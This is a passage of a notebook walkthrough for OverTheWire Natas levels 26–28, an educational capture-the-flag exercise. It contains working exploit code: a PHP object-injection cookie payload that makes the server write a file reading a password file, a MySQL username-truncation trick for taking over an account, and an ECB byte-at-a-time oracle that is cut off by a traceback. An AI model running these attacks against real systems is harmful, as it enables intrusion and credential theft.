        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }

    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){

                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);

                    }
        }    
    }

    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }

        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<h1>natas26</h1>
<div id="content">

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form> 

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){  
        $imgfile="img/natas26_" . session_id() .".png"; 
        drawImage($imgfile); 
        showImage($imgfile);
        storeData();
    }

?>

There are few risky functions are included. namely:

  • unserialize()
  • __destruct

Accroding to OWASP database, if these functions are inappropriately deployed it can be used for PHP Object Injection attack.

In [91]:
# First I copied Logger function locally
# Because, we will send a constructed object, and it will be destructed immediately. We need only __construct to make injection code.

logger_code = '''
<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla

    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg='#--session started--#\n';
            $this->exitMsg='password for natas27 is <?php readfile("/etc/natas_webpass/natas27\"); ?>\n';
            $this->logFile = 'img/natas26_'.$file.'.php';
        }                                         
    }
?>
'''
with open('webfile/natas26-logger.php', 'w') as f:
    f.write(logger_code)
In [95]:
import re

# Create a serialized(and base64 encoded) code for injection
injection_code = '''
<?php
require 'natas26-logger.php';
$x = new Logger('tmp20190214');
echo "encoded_serialized_obj: ".base64_encode(serialize($x));
?>
'''
with open('webfile/natas26-inject.php', 'w') as f:
    f.write(injection_code)

url = 'http://localhost:8088/webfile/natas26-inject.php'
rep = requests.get(url)

encoded_obj = re.search(r'encoded_serialized_obj: (.*)$', rep.text).group(1)
print(encoded_obj)
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoyNzoiaW1nL25hdGFzMjZfdG1wMjAxOTAyMTQucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MjM6IiMtLXNlc3Npb24gc3RhcnRlZC0tIw0KIjtzOjE1OiIATG9nZ2VyAGV4aXRNc2ciO3M6NzQ6InBhc3N3b3JkIGZvciBuYXRhczI3IGlzIDw/cGhwIHJlYWRmaWxlKCIvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNyIpOyA/Pg0KIjt9

All I need to do now is just to send this object as a cookie['drawing']

In [97]:
# Once it's sent, the code is deserialized and will be destrcuted.

cookies = {'drawing': encoded_obj}
rep = requests.get(BASEURL, auth=(USER, PASSWD), cookies=cookies) #this requests should create the file under img
rep.status_code
Out[97]:
200

Now I can check img/natas26_tmp20190214.php. And the next password is there.

In [99]:
url = BASEURL + '/img/natas26_tmp20190214.php'
rep = requests.get(url, auth=(USER, PASSWD))

result = re.search(r'password for natas27 is (.*)\n', rep.text).group(1)

#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS27.txt for password.

Natas Level 27 --> Level 28

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:
    • mysql_real_escape_string()

First we make client to connect to the service

In [3]:
from bs4 import BeautifulSoup
import requests

ID = 27
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply.

In [4]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas27
  </h1>
  <div id="content">
   <form action="index.php" method="POST">
    Username:
    <input name="username"/>
    <br/>
    Password:
    <input name="password" type="password"/>
    <br/>
    <input type="submit" value="login">
    </input>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
--------------------

Let's check the source code

<? 
// morla / 10111 
// database gets cleared every 5 min  
/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 

function checkCredentials($link,$usr,$pass){ 

    $user=mysql_real_escape_string($usr); 
    $password=mysql_real_escape_string($pass); 

    $query = "SELECT username from users where username='$user' and password='$password' "; 
    $res = mysql_query($query, $link); 
    if(mysql_num_rows($res) > 0){ 
        return True; 
    } 
    return False; 
} 


function validUser($link,$usr){ 

    $user=mysql_real_escape_string($usr); 

    $query = "SELECT * from users where username='$user'"; 
    $res = mysql_query($query, $link); 
    if($res) { 
        if(mysql_num_rows($res) > 0) { 
            return True; 
        } 
    } 
    return False; 
} 


function dumpData($link,$usr){ 

    $user=mysql_real_escape_string($usr); 

    $query = "SELECT * from users where username='$user'"; 
    $res = mysql_query($query, $link); 
    if($res) { 
        if(mysql_num_rows($res) > 0) { 
            while ($row = mysql_fetch_assoc($res)) { 
                // thanks to Gobo for reporting this bug!   
                //return print_r($row); 
                return print_r($row,true); 
            } 
        } 
    } 
    return False; 
} 


function createUser($link, $usr, $pass){ 

    $user=mysql_real_escape_string($usr); 
    $password=mysql_real_escape_string($pass); 

    $query = "INSERT INTO users (username,password) values ('$user','$password')"; 
    $res = mysql_query($query, $link); 
    if(mysql_affected_rows() > 0){ 
        return True; 
    } 
    return False; 
} 


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas27', '<censored>'); 
    mysql_select_db('natas27', $link); 


    if(validUser($link,$_REQUEST["username"])) { 
        //user exists, check creds 
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){ 
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>"; 
            echo "Here is your data:<br>"; 
            $data=dumpData($link,$_REQUEST["username"]); 
            print htmlentities($data); 
        } 
        else{ 
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>"; 
        }         
    }  
    else { 
        //user doesn't exist 
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){  
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!"; 
        } 
    } 

    mysql_close($link); 
} else { 
?>

It is using mysql_real_escape_string and there is no way to workaround this to make SQL injection. However, we can make a new user, and it should be some other way to retrieve the password around there.

As the above comment says, the database column for username is VARCHAR(64). In MySQL, VARCHAR is compared as if it does not have any trailing or leading spaces. You can further refer "MySQL 8.0 Reference manual"

I need to create a user natas28 with a brand new password.

  • passing "natas28 " will fail, because checkCredential function evaluates username="natas28" AND password="xxx", and of course we don't know the password.
  • passing "natas28 (lots of spaces > 64) x" should succeed, because validUser evaluates username "natas28 ... x" will fail(no user with name like this). And eventually it creates a new user. However, the username can have only 64 characters in DB, the last "x" will be omitted.
In [5]:
user_with_trailing_spaces_and_unrelated_char = 'natas28' + (' ' * 64) + 'x'
data = {'username': user_with_trailing_spaces_and_unrelated_char, 'password': 'anykeywilldo'}

rep = requests.post(BASEURL, auth=(USER, PASSWD), data=data)
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas27
  </h1>
  <div id="content">
   User natas28                                                                x was created!
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

The screen says "natas28 ... x was created", but in fact, in DB the last x should be omitted. And now I can login as natas28 with the password I just provided.

In [6]:
data = {'username': 'natas28', 'password': 'anykeywilldo'}

rep = requests.post(BASEURL, auth=(USER, PASSWD), data=data)

for line in rep.text.split('\n'):
    if 'password' in line:
        result = line.split()[-1]

#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS28.txt for password.

Natas Level 28 --> Level 29

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:

First we make client to connect to the service

In [2]:
import base64
import re
import string
import urllib

from bs4 import BeautifulSoup
import requests

ID = 28
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply.

In [3]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:30])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <!-- 
    morla/10111 
    y0 n0th!
-->
  <h1>
   natas28
  </h1>
  <div id="content">
   <form action="index.php" method="POST">
    <h2>
     Whack Computer Joke Database
    </h2>
    Search:
    <input name="query"/>
    <br/>
    <input type="submit" value="search">
    </input>
   </form>
   <div id="viewsource">
    sorry, we are currently out of sauce
   </div>
  </div>
 </body>
</html>
--------------------

There is no source code provided this time. It seems this application provides some kind of search. Let's give it a try.

In [4]:
data = {'query': 'pass'}
rep = requests.post(BASEURL, auth=(USER, PASSWD), data=data)
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()
soup.style.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:30])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <!-- morla/10111 -->
  <h1>
   natas28
  </h1>
  <div id="content">
   <h2>
    Whack Computer Joke Database
   </h2>
   <ul>
    <li>
     A physicist, an engineer and a programmer were in a car driving over a steep alpine pass when the brakes failed. The car was getting faster and faster, they were struggling to get round the corners and once or twice only the feeble crash barrier saved them from crashing down the side of the mountain. They were sure they were all going to die, when suddenly they spotted an escape lane. They pulled into the escape lane, and came safely to a halt.
     <br/>
     The physicist said "We need to model the friction in the brake pads and the resultant temperature rise, see if we can work out why they failed".
     <br/>
     The engineer said "I think I've got a few spanners in the back. I'll take a look and see if I can work out what's wrong".
     <br/>
     The programmer said "Why don't we get going again and see if it's reproducible?"
    </li>
   </ul>
  </div>
 </body>
</html>
--------------------

Again, it does not have much clue. Let's see if there was any redirection made.

In [5]:
rep.history
Out[5]:
[<Response [302]>]

So the result page was actually redirected from somewhere.

As i saw last time in previous natas excercise, it should have "Location" in headers.

Let's see what kind of query was made.

In [6]:
for item in rep.history[0].headers.items():
   print(item) 
('Date', 'Fri, 08 Mar 2019 21:00:02 GMT')
('Server', 'Apache/2.4.10 (Debian)')
('Location', 'search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKSUseY0AqbaUQvtXK0%2BiYNKSh%2FPMVHnhLmbzHIY7GAR1bVcy3Ix3D2Q5cVi8F6bmY%3D')
('Content-Length', '944')
('Keep-Alive', 'timeout=5, max=100')
('Connection', 'Keep-Alive')
('Content-Type', 'text/html; charset=UTF-8')

It seems the query is encoded. In the first look, it looks like base64 encoded, as the last part is "%3D". However, the length is much longer than 64, and we cannot decode directly. Let's pass some other search queries and see if there is any pattern.

In [18]:
words = ['a', 'b', 'aa', 'ab', 'abc', 'abc']

for w in words:
    data = {'query': w}
    rep = requests.post(BASEURL, auth=(USER, PASSWD), data=data)
    enc_query = re.search(r'query=(.*)$', rep.history[0].headers['Location']).group(1)
    print(f'{w}:\t{urllib.parse.unquote(enc_query)}')
a:	G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
b:	G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIYiwNnSJY7KHJGU+XjuMzVvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
aa:	G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKxMKUxvsiccFITv6XJZnrHSHmaB7HSm1mCAVyTVcLgDq3tm9uspqc7cbNaAQ0sTFc=
ab:	G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJK++eakdVfLS7bR62AoUrgSHmaB7HSm1mCAVyTVcLgDq3tm9uspqc7cbNaAQ0sTFc=
abc:	G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLA9VE0ga2mtCFqzqUJJfB2mi4rXbbzHxmhT3Vnjq2qkEJJuT5N6gkJR5mVucRLNRo=
abc:	G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLA9VE0ga2mtCFqzqUJJfB2mi4rXbbzHxmhT3Vnjq2qkEJJuT5N6gkJR5mVucRLNRo=

From the above result, observations are follows:

  1. Encoded query are fix in length
  2. Same search word, same encode
  3. Has fixed suffix. "G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP"
In [24]:
suffix =  "G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP"
print(f'Fixed suffix has length-{len(suffix)}. printing query result without suffix...')

for num in range(1, 50):
    data = {'query': 'a' * num}
    rep = requests.post(BASEURL, auth=(USER, PASSWD), data=data)
    enc_query = re.search(r'query=(.*)$', rep.history[0].headers['Location']).group(1)
    print(f'{num}:\t {urllib.parse.unquote(enc_query)[len(suffix):]}')
Fixed suffix has length-42. printing query result without suffix...
1:	 KriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
2:	 KxMKUxvsiccFITv6XJZnrHSHmaB7HSm1mCAVyTVcLgDq3tm9uspqc7cbNaAQ0sTFc=
3:	 IvUpOmOsuf6Me06CS3bWodmi4rXbbzHxmhT3Vnjq2qkEJJuT5N6gkJR5mVucRLNRo=
4:	 I1BKmpZ1/9YUtPH5DShPyqKSh/PMVHnhLmbzHIY7GAR1bVcy3Ix3D2Q5cVi8F6bmY=
5:	 LDah8EaRWKMFIWYUal4/LsrDuHHBxEg4a0XNNtno9y9GVRSbu6ISPYnZVBfqJ/Ons=
6:	 JKEf/nOv0V2qBes8NIbc3hQcCYxLrNxe2TV1ZOUQXdfmTQ3MhoJTaSrfy9N5bRv4o=
7:	 Kf3hzvbj+EoXJjPzB0/I4YZIaVSupG+5Ppq4WEW09L0Nf/K3JUU/wpRwHlH118D44=
8:	 JFPgAgYC9NzNUPDrdwlHfCiW3pCIT4YQixZ/i0rqXXY5FyMgUUg+aORY/QZhZ7MKM=
9:	 KeYiaGpSZAWVcGCZq8sFK7oJUi8wHPnTascCPxZZSMWpc5zZBSL6eob5V3O1b5+MA=
10:	 LAhy3ui8kLEVaROwiiI6Oec4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
11:	 LAhy3ui8kLEVaROwiiI6OetO2gh9PAvqK+3BthQLni68qM9OYQkTq645oGdhkgSlo=
12:	 LAhy3ui8kLEVaROwiiI6OezoKpVTtluBKA+2078pAPR3X9UET9Bj0m9rt/c0tByJk=
13:	 LAhy3ui8kLEVaROwiiI6OeH3RxTXb8xdRkxqIh5u2Y5GIjoU2cQpG5h3WwP7xz1O3YrlHX2nGysIPZGaDXuIuY
14:	 LAhy3ui8kLEVaROwiiI6Oe7NNvj9kWTUA1QORJcH0n5UJXo0PararywOOh1xzgPdF7e6ymVfKYoyHpDj96YNTY
15:	 LAhy3ui8kLEVaROwiiI6OeWu8qmX2iNj9yo/rTMtFzb6dz8xhQlKoBQI8fl9A304VnjFdz7MKPhw5PTrxsgHCk
16:	 LAhy3ui8kLEVaROwiiI6OeiSUVjPxawG0iv9oLcsjxUad+jtGqvgtdBcT/5qwUI6tHjrGh/iYaLGwVBhEJs/7a
17:	 LAhy3ui8kLEVaROwiiI6OerfihrQF37R7K06x8EIKqnr36EFTsaFFc+W8qVURZGUeQT0sqvywtdoaqcqUxUclw
18:	 LAhy3ui8kLEVaROwiiI6OeU9lJnrytaGHwS3zcJPMEYkh5mgex0ptZggFck1XC4A6t7ZvbrKanO3GzWgENLExX
19:	 LAhy3ui8kLEVaROwiiI6OepUn9pSttm04mMtsxg4hW1ZouK1228x8ZoU91Z46tqpBCSbk+TeoJCUeZlbnESzUa
20:	 LAhy3ui8kLEVaROwiiI6OeIBG75Ijd4bvslhthcLMOEikofzzFR54S5m8xyGOxgEdW1XMtyMdw9kOXFYvBem5m
21:	 LAhy3ui8kLEVaROwiiI6OeiCmh+TDOtWa4NEQcBXdALKw7hxwcRIOGtFzTbZ6PcvRlUUm7uiEj2J2VQX6ifzp7
22:	 LAhy3ui8kLEVaROwiiI6OeVHYCtS+uFWasjpcfkfbWBUHAmMS6zcXtk1dWTlEF3X5k0NzIaCU2kq38vTeW0b+K
23:	 LAhy3ui8kLEVaROwiiI6OepFqT7keU0bYgT7CSC2jyfWSGlUrqRvuT6auFhFtPS9DX/ytyVFP8KUcB5R9dfA+O
24:	 LAhy3ui8kLEVaROwiiI6Oe7aEY+Zn5SV6PPZc/umUoo4lt6QiE+GEIsWf4tK6l12ORcjIFFIPmjkWP0GYWezCj
25:	 LAhy3ui8kLEVaROwiiI6Oe8pCcTVN4HuF3egErsaclQaCVIvMBz502rHAj8WWUjFqXOc2QUi+nqG+VdztW+fjA
26:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo3OKX/tKRQAkZ3UXWuWWu9bzTfM5xp7c4R9mULvO1icC
27:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo7TtoIfTwL6ivtwbYUC54uvKjPTmEJE6uuOaBnYZIEpa
28:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo86CqVU7ZbgSgPttO/KQD0d1/VBE/QY9Jva7f3NLQciZ
29:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqox90cU12/MXUZMaiIebtmORiI6FNnEKRuYd1sD+8c9Tt2K5R19pxsrCD2Rmg17iLmA==
30:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo+zTb4/ZFk1ANUDkSXB9J+VCV6ND2q2q8sDjodcc4D3Re3usplXymKMh6Q4/emDU2A==
31:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo1rvKpl9ojY/cqP60zLRc2+nc/MYUJSqAUCPH5fQN9OFZ4xXc+zCj4cOT068bIBwpA==
32:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo4klFYz8WsBtIr/aC3LI8VGnfo7Rqr4LXQXE/+asFCOrR46xof4mGixsFQYRCbP+2g==
33:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo634oa0Bd+0eytOsfBCCqp69+hBU7GhRXPlvKlVEWRlHkE9LKr8sLXaGqnKlMVHJcA==
34:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo1PZSZ68rWhh8Et83CTzBGJIeZoHsdKbWYIBXJNVwuAOre2b26ympztxs1oBDSxMVw==
35:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo6VJ/aUrbZtOJjLbMYOIVtWaLitdtvMfGaFPdWeOraqQQkm5Pk3qCQlHmZW5xEs1Gg==
36:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqoyARu+SI3eG77JYbYXCzDhIpKH88xUeeEuZvMchjsYBHVtVzLcjHcPZDlxWLwXpuZg==
37:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo4gpofkwzrVmuDREHAV3QCysO4ccHESDhrRc022ej3L0ZVFJu7ohI9idlUF+on86ew==
38:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo1R2ArUvrhVmrI6XH5H21gVBwJjEus3F7ZNXVk5RBd1+ZNDcyGglNpKt/L03ltG/ig==
39:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo6Rak+5HlNG2IE+wkgto8n1khpVK6kb7k+mrhYRbT0vQ1/8rclRT/ClHAeUfXXwPjg==
40:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo+2hGPmZ+Ulejz2XP7plKKOJbekIhPhhCLFn+LSupddjkXIyBRSD5o5Fj9BmFnswow==
41:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo/KQnE1TeB7hd3oBK7GnJUGglSLzAc+dNqxwI/FllIxalznNkFIvp6hvlXc7Vvn4wA==
42:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo7OQOMKN95tl0mFR31j36qNzil/7SkUAJGd1F1rllrvW803zOcae3OEfZlC7ztYnAg==
43:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo7OQOMKN95tl0mFR31j36qO07aCH08C+or7cG2FAueLryoz05hCROrrjmgZ2GSBKWg==
44:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo7OQOMKN95tl0mFR31j36qPOgqlVO2W4EoD7bTvykA9Hdf1QRP0GPSb2u39zS0HImQ==
45:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo7OQOMKN95tl0mFR31j36qMfdHFNdvzF1GTGoiHm7ZjkYiOhTZxCkbmHdbA/vHPU7diuUdfacbKwg9kZoNe4i5g=
46:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo7OQOMKN95tl0mFR31j36qPs02+P2RZNQDVA5ElwfSflQlejQ9qtqvLA46HXHOA90Xt7rKZV8pijIekOP3pg1Ng=
47:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo7OQOMKN95tl0mFR31j36qNa7yqZfaI2P3Kj+tMy0XNvp3PzGFCUqgFAjx+X0DfThWeMV3Pswo+HDk9OvGyAcKQ=
48:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo7OQOMKN95tl0mFR31j36qOJJRWM/FrAbSK/2gtyyPFRp36O0aq+C10FxP/mrBQjq0eOsaH+JhosbBUGEQmz/to=
49:	 LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo7OQOMKN95tl0mFR31j36qOt+KGtAXftHsrTrHwQgqqevfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
txt
From this result, new facts are gathered as follows:

1. First 22 characters in encrypted query is fixed once I send 10 characters or more.
2. From above result, I guess this encryption is using ECB mode.
3. First 43 characters in encrypted query is fixed once I send 26 characters or more.
4. From 2 and 3, I guess block size is 16.

So the original query before encryption should look like below:

+----------------+----------------+----------------+----------------+
|SOME-UNKNOWN-SUF|FIXTXTyour-query|SOME-UNKNOWN-APP|ENDIX-PAD-PAD-PA|
+----------------+----------------+----------------+----------------+

And this query is encrypted something like:

+--------------------+-------------------+-------------------+----------------+
|s0m3-unk0wn-encrypt3|dfi1e-wh1ch-w3-sti1|1-d0n+-kn0w-h0w-1+-|15-3ncryp+ed....|
+--------------------+-------------------+-------------------+----------------+


Let's look how we can retrieve the appended text.
Consider if you send your query with the word "you-quer", original query before encryption looks like this:
+----------------+----------------+----------------+----------------+
|SOME-UNKNOWN-SUF|FIXTXTyour-querS|OME-UNKNOWN-APPE|NDIX-PAD-PAD-PAD|
+----------------+----------------+----------------+----------------+
And if you get encrypted query like below:
+--------------------+-------------------+-------------------+----------------+
|s0m3-unk0wn-encrypt3|dfi1e-wh1ch-w3-sti1|1-d0n+-kn0w-h0w-1+-|15-3ncryp+ed....|
+--------------------+-------------------+-------------------+----------------+
It means the string "FIXTXTyour-querS" is encrypted to "dfi1e-wh1ch-w3-sti1".

On the other hand, if you send a query with the word "your-querS", it shoud receive the same result for the second block.
+----------------+----------------+----------------+----------------+
|SOME-UNKNOWN-SUF|FIXTXTyour-querS|SOME-UNKNOWN-APP|ENDIX-PAD-PAD-PA|
+----------------+----------------+----------------+----------------+
And if you get encrypted query like below:
+--------------------+-------------------+-------------------+----------------+
|s0m3-unk0wn-encrypt3|dfi1e-wh1ch-w3-sti1|1-unkn0wn-wha+-+h15|-d01ng..........|
+--------------------+-------------------+-------------------+----------------+
Note 1st and 2nd block should be the same but not for third and fourth block.

Using this, I should be able to get the appended text.
In [32]:
enc_block_size = len('LAhy3ui8kLEVaROwiiI6Oe')

def get_enc_query(query):
    data = {'query': query}
    rep = requests.post(BASEURL, auth=(USER, PASSWD), data=data)
    enc_query = re.search(r'query=(.*)$', rep.history[0].headers['Location']).group(1)
    return base64.b64decode(urllib.parse.unquote(enc_query))

found = True
found_arg = ''
while found == True:
    found = False
    magic_block = get_enc_query('a' * (9 - len(found_arg)) + found_arg)[len(suffix):][:enc_block_size]
    for c in string.printable:
        enc_query = get_enc_query('a' * (9 - len(found_arg)) + found_arg + c)
        if enc_query[len(suffix):][:enc_block_size] == magic_block:
            print(f'Match found: {c}')
            found_arg += c
            found = True
            break
    if found == False:
        print('end')
Match found: %
Match found: %
Match found: %
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
~\Anaconda3\lib\site-packages\urllib3\connectionpool.py in _make_request(self, conn, method, url, timeout, chunked, **httplib_request_kw)
    379             try:  # Python 2.7, use buffering of HTTP responses
--> 380                 httplib_response = conn.getresponse(buffering=True)
    381             except TypeError:  # Python 2.6 and older, Python 3

TypeError: getresponse() got an unexpected keyword argument 'buffering'

During handling of the above exception, another exception occurred:

KeyboardInterrupt                         Traceback (most recent call last)
<ipython-input-32-eaa2cdec37a4> in <module>()
     13     magic_block = get_enc_query('a' * (9 - len(found_arg)) + found_arg)[len(suffix):][:enc_block_size]
     14     for c in string.printable:
---> 15         enc_query = get_enc_query('a' * (9 - len(found_arg)) + found_arg + c)
     16         if enc_query[len(suffix):][:enc_block_size] == magic_block:
     17             print(f'Match found: {c}')

<ipython-input-32-eaa2cdec37a4> in get_enc_query(query)
      3 def get_enc_query(query):
      4     data = {'query': query}
----> 5     rep = requests.post(BASEURL, auth=(USER, PASSWD), data=data)
      6     enc_query = re.search(r'query=(.*)$', rep.history[0].headers['Location']).group(1)
      7     return urllib.parse.unquote(enc_query)

~\Anaconda3\lib\site-packages\requests\api.py in post(url, data, json, **kwargs)
    110     """
    111 
--> 112     return request('post', url, data=data, json=json, **kwargs)
    113 
    114 

~\Anaconda3\lib\site-packages\requests\api.py in request(method, url, **kwargs)
     56     # cases, and look like a memory leak in others.
     57     with sessions.Session() as session:
---> 58         return session.request(method=method, url=url, **kwargs)
     59 
     60 

~\Anaconda3\lib\site-packages\requests\sessions.py in request(self, method, url, params, data, headers, cookies, files, auth, timeout, allow_redirects, proxies, hooks, stream, verify, cert, json)
    506         }
    507         send_kwargs.update(settings)
--> 508         resp = self.send(prep, **send_kwargs)
    509 
    510         return resp

~\Anaconda3\lib\site-packages\requests\sessions.py in send(self, request, **kwargs)
    616 
    617         # Send the request
--> 618         r = adapter.send(request, **kwargs)
    619 
    620         # Total elapsed time of the request (approximately)

~\Anaconda3\lib\site-packages\requests\adapters.py in send(self, request, stream, timeout, verify, cert, proxies)
    438                     decode_content=False,
    439                     retries=self.max_retries,
--> 440                     timeout=timeout
    441                 )
    442 

~\Anaconda3\lib\site-packages\urllib3\connectionpool.py in urlopen(self, method, url, body, headers, retries, redirect, assert_same_host, timeout, pool_timeout, release_conn, chunked, body_pos, **response_kw)
    599                                                   timeout=timeout_obj,
    600                                                   body=body, headers=headers,
--> 601                                                   chunked=chunked)
    602 
    603             # If we're going to release the connection in ``finally:``, then

~\Anaconda3\lib\site-packages\urllib3\connectionpool.py in _make_request(self, conn, method, url, timeout, chunked, **httplib_request_kw)
    381             except TypeError:  # Python 2.6 and older, Python 3
    382                 try:
--> 383                     httplib_response = conn.getresponse()
    384                 except Exception as e:
    385                     # Remove the TypeError from the exception chain in Python 3;

~\Anaconda3\lib\http\client.py in getresponse(self)
   1329         try:
   1330             try:
-> 1331                 response.begin()
   1332             except ConnectionError:
   1333                 self.close()

~\Anaconda3\lib\http\client.py in begin(self)
